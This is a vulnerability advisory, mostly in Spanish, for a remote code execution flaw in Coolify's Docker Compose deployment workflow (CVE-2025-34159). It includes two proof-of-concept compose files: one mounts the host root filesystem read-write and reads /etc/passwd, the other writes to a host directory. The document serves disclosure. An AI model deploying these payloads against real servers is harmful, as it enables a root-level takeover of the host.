
A critical Remote Code Execution (RCE) vulnerability exists in Coolify's application deployment workflow. This flaw allows a low-privileged member to inject arbitrary Docker Compose directives during project creation or updates. By defining a malicious service that mounts the host filesystem an attacker can achieve root-level command execution on
| Campo | Valor |
|---|
| ID CVE | CVE-2025-34159 |
| Afecta | Coolify ≤ v4.0.0-beta.420.6 |
| Corregido en | v4.0.0-beta.420.7 |
| Gravedad | Crítica |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-78 (Inyección de comandos del SO), CWE-20 (Validación de entrada incorrecta) |
Existe una vulnerabilidad crítica de ejecución remota de código (RCE) en el flujo de despliegue de aplicaciones de Coolify. Esta falla permite que un miembro con bajos privilegios inyecte directivas arbitrarias de Docker Compose durante la creación o actualización de proyectos. Al definir un servicio malicioso que monta el sistema de archivos del host, un atacante puede lograr ejecución de comandos a nivel de root en el SO host, eludiendo por completo el aislamiento del contenedor.
La vulnerabilidad existe en el flujo de despliegue de proyectos donde las configuraciones de Docker Compose proporcionadas por el usuario se procesan sin suficiente validación o sandboxing.
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo '[*] Proof of RCE on host' &&
echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
whoami &&
id &&
uname -a &&
head -n 5 /host/etc/passwd
"
Resultado: Después del despliegue, /tmp/proof_rce.txt aparece en el sistema host, confirmando RCE con privilegios de root.
version: '3.8'
services:
poc-host-write:
image: alpine:3.19
tty: true
volumes:
- /home/eyodav/PoC:/host
command: >
sh -c "
set -e;
mkdir -p /host &&
echo '[*] Writing PoC file to host mount...' &&
echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
cd /host &&
pwd &&
ls -la
"
/tmp/proof_rce.txt) o revisando la salida de comandos en los registros de despliegue